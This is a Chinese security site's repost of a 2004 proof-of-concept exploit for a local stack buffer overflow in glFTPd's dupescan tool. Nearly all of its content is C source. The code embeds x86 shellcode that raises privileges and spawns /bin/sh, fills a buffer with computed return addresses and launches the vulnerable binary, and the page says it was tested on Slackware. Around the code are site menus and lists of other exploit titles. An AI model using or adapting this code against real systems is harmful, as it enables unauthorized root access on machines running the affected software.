首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
glFTPd local stack buffer overflow exploit
来源:http://www.nosystem.com.ar 作者:CoKi 发布时间:2004-09-28  

glFTPd local stack buffer overflow exploit

/* glFTPd local stack buffer overflow exploit
(Proof of Concept)

Tested in Slackware 9.0 / 9.1 / 10.0

by CoKi <coki@nosystem.com.ar>
No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <strings.h>
#include <unistd.h>

#define BUFFER 288 + 1
#define PATH "/glftpd/bin/dupescan"

char shellcode[]=
"\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80"
"\x31\xdb\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(void) {

char *env[3] = {shellcode, NULL};
char buf[BUFFER], *path;
int *buffer = (int *) (buf);
int i;
int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH);

for(i=0; i<=BUFFER; i+=4)
*buffer++ = ret;

printf("\n glFTPd local stack buffer overflow (Proof of
Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");

execle(PATH, "dupescan", buf, NULL, env);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mdaemon smtp server v6.5.1 exp
·0x00 vs ASP file upload script
·Mdaemon IMAP server v6.5.1 Rem
·Windows JPEG Downloader Toolki
·Windows JPEG GDI+ Heap Overflo
·Windows JPEG GDI+ All in One R
·HP-UX本地语言系统格式化串漏洞E
·Remote exploit for Zinf 2.2.1
·HP-UX本地语言系统格式化串漏洞
·Microsoft SQL Server远程拒绝服
·Windows JPEG GDI+ Overflow Adm
·BroadBoard Instant ASP Message
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved